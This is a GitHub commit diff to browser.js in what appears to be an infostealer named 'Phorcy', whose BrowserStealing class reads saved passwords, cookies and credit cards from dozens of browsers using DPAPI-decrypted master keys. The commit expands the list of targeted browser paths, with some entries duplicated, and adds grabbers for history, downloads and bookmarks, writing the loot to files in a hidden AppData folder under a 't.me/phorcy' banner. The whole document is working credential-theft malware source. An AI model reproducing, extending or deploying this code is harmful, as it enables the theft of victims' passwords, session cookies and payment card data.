Update browser.js

This commit is contained in:
gumbobr0t
2023-11-24 23:03:49 +01:00
committed by GitHub
parent f9bce184f8
commit 3cc1215dac

View File

@@ -7,28 +7,80 @@ const dpapi = require('./node-dpapi');
class BrowserStealing { class BrowserStealing {
constructor() { constructor() {
this.local = process.env.LOCALAPPDATA this.local = process.env.LOCALAPPDATA
this.phorcyDir = path.join(this.local, 'Phorcy'); this.roaming = process.env.APPDATA
this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')]; this.phorcyDir = path.join(this.roaming, 'Phorcy');
//this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')];
this.browserPaths = [
path.join(this.local, 'Opera Software', 'Opera Neon', 'User Data', 'Default'),
path.join(this.local, 'Opera Software', 'Opera Stable'),
path.join(this.local, 'Opera Software', 'Opera GX Stable'),
path.join(this.local, 'Amigo', 'User Data'),
path.join(this.local, 'Torch', 'User Data'),
path.join(this.local, 'Kometa', 'User Data'),
path.join(this.local, 'Orbitum', 'User Data'),
path.join(this.local, 'CentBrowser', 'User Data'),
path.join(this.local, '7Star', '7Star', 'User Data'),
path.join(this.local, 'Sputnik', 'Sputnik', 'User Data'),
path.join(this.local, 'Vivaldi', 'User Data'),
path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
path.join(this.local, 'Google', 'Chrome', 'User Data'),
path.join(this.local, 'Epic Privacy Browser', 'User Data'),
path.join(this.local, 'Microsoft', 'Edge', 'User Data'),
path.join(this.local, 'uCozMedia', 'Uran', 'User Data'),
path.join(this.local, 'Yandex', 'YandexBrowser', 'User Data'),
path.join(this.local, 'BraveSoftware', 'Brave-Browser', 'User Data'),
path.join(this.local, 'Iridium', 'User Data'),
path.join(this.local, 'Google', 'Chrome Beta', 'User Data'),
path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
path.join(this.local, 'Slimjet', 'User Data'),
path.join(this.local, 'Maxthon3', 'User Data'),
path.join(this.local, 'Thorium', 'User Data'),
path.join(this.local, 'AVAST Software', 'Avast Secure Browser', 'User Data'),
path.join(this.local, '8pecxstudios', 'Cyberfox', 'User Data'),
path.join(this.local, 'Waterfox', 'Profiles'),
path.join(this.local, 'Moonchild Productions', 'Pale Moon', 'Profiles'),
path.join(this.local, 'Comodo', 'Dragon', 'User Data'),
path.join(this.local, 'Coowon', 'User Data'),
path.join(this.local, 'GNU', 'IceCat', 'Profiles'),
path.join(this.local, 'Moonchild Productions', 'Basilisk', 'Profiles'),
path.join(this.local, 'Otter', 'Browser', 'User Data'),
path.join(this.local, 'WebDir', 'Opium', 'User Data'),
path.join(this.local, 'Comodo', 'Chromodo', 'User Data'),
path.join(this.local, 'Yandex', 'YandexBrowserBeta', 'User Data'),
path.join(this.local, 'SRWare Iron', 'User Data'),
path.join(this.local, 'Otter', 'Browser', 'User Data'),
path.join(this.local, 'Coowon', 'User Data'),
path.join(this.local, 'qutebrowser'),
path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
path.join(this.local, 'VivaldiSnapshot', 'User Data'),
path.join(this.local, 'Otter', 'Browser', 'User Data'),
path.join(this.local, 'Coowon', 'User Data'),
path.join(this.local, 'qutebrowser'),
path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
path.join(this.local, 'VivaldiSnapshot', 'User Data'),
];
this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']; this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5'];
this.tempDir = path.join(this.local, 'Temp'); this.tempDir = path.join(this.local, 'Temp');
this.password_command = 'SELECT action_url, username_value, password_value FROM logins'; this.password_command = 'SELECT action_url, username_value, password_value FROM logins';
this.cookie_command = 'SELECT host_key, name, encrypted_value, expires_utc FROM cookies'; this.cookie_command = 'SELECT host_key, name, encrypted_value, expires_utc FROM cookies';
this.cc_command = 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards'; this.cc_command = 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards';
//this.history_command = 'SELECT url, title, last_visit_time FROM urls'; this.history_command = 'SELECT url, title, last_visit_time FROM urls';
//this.downloads_command = 'SELECT tab_url, target_path FROM downloads'; this.downloads_command = 'SELECT tab_url, target_path FROM downloads';
this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt'); this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt');
this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt'); this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt');
this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt'); this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt');
//this.historyFile = path.join(this.phorcyDir, 'browser_history.txt'); this.historyFile = path.join(this.phorcyDir, 'browser_history.txt');
//this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt'); this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt');
this.bookmarkFile = path.join(this.phorcyDir, 'browser_bookmarks.txt');
this.password_count = 0; this.password_count = 0;
this.cookie_count = 0; this.cookie_count = 0;
this.cc_count = 0; this.cc_count = 0;
//this.history_count = 0; this.history_count = 0;
//this.downloads_count = 0; this.downloads_count = 0;
this.bookmark_count = 0;
} }
generateRandomString() { generateRandomString() {
@@ -64,7 +116,7 @@ class BrowserStealing {
} }
getPassword(loginFile, masterKey) { getPassword(loginFile, masterKey) {
const tempFile = path.join(this.tempDir, this.generateRandomString()); const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(loginFile, tempFile, (err) => { fs.copyFile(loginFile, tempFile, (err) => {
if (err) { if (err) {
@@ -121,7 +173,7 @@ class BrowserStealing {
}; };
getCookie(cookieFile, masterKey) { getCookie(cookieFile, masterKey) {
const tempFile = path.join(this.tempDir, this.generateRandomString()); const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(cookieFile, tempFile, (err) => { fs.copyFile(cookieFile, tempFile, (err) => {
if (err) { if (err) {
@@ -181,7 +233,7 @@ class BrowserStealing {
}; };
getCreditCard(ccFile, masterKey) { getCreditCard(ccFile, masterKey) {
const tempFile = path.join(this.tempDir, this.generateRandomString()); const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(ccFile, tempFile, (err) => { fs.copyFile(ccFile, tempFile, (err) => {
if (err) { if (err) {
@@ -240,7 +292,157 @@ class BrowserStealing {
} }
}; };
getHistory(historyFile) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(historyFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.history_command, (err, rows) => {
if (err) {
console.error(err);
} else {
rows.map(row => {
if (row) {
this.history_count++;
try {
const historyList = `+------------------------+\n| URL: ${row['url']} |\n| Title: ${row['title']} |\n| Last visit: ${row['last_visit_time']} |\n`;
fs.writeFileSync(this.historyFile, historyList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('History count:', this.history_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getDownload(historyFile) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(historyFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.downloads_command, (err, rows) => {
if (err) {
console.error(err);
} else {
rows.map(row => {
if (row) {
this.downloads_count++;
try {
const downloadsList = `+------------------------+\n| Tab URL: ${row['tab_url']} |\n| Target Path: ${row['target_path']} |\n`;
fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('Downloads count:', this.downloads_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getBookmark(bookmarkFile) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(bookmarkFile, tempFile, (err) => {
if (err) {
console.error(err);
}
fs.readFile(tempFile, 'utf8', (err, data) => {
if (err) {
console.error(err);
return;
}
let bookmarks = JSON.parse(data).roots.other.children;
try {
for (const item of bookmarks) {
const bookmarkList = `+------------------------+\n| URL: ${item['url']} |\n| Name: ${item['name']} |\n| Type: ${item['type']} |\n| Last used: ${item['date_last_used']} |\n| Date added: ${item['date_added']} |\n`;
fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' });
this.bookmark_count++;
}
} catch (err) {
console.error(err);
}
console.log('Bookmark count:', this.bookmark_count)
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
async Main() { async Main() {
// dir preparation
if (!this.fileExists(this.phorcyDir)) {
try {
fs.mkdirSync(this.phorcyDir);
} catch (err) {
console.error(err);
}
}
// password grabber // password grabber
fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) { for (const browserPath of this.browserPaths) {
@@ -318,6 +520,57 @@ class BrowserStealing {
} }
} }
} }
// history grabber
fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
for (const profile of this.browserProfiles) {
const historyFile = path.join(browserPath, profile, 'History');
if (this.fileExists(historyFile)) {
try {
this.getHistory(historyFile);
} catch (err) {
console.error(err);
}
}
}
}
}
// downloads grabber
fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
for (const profile of this.browserProfiles) {
const downloadsFile = path.join(browserPath, profile, 'History');
if (this.fileExists(downloadsFile)) {
try {
this.getDownload(downloadsFile);
} catch (err) {
console.error(err);
}
}
}
}
}
// bookmark grabber
fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
for (const profile of this.browserProfiles) {
const bookmarkFile = path.join(browserPath, profile, 'Bookmarks');
if (this.fileExists(bookmarkFile)) {
try {
this.getBookmark(bookmarkFile);
} catch (err) {
console.error(err);
}
}
}
}
}
} }
} }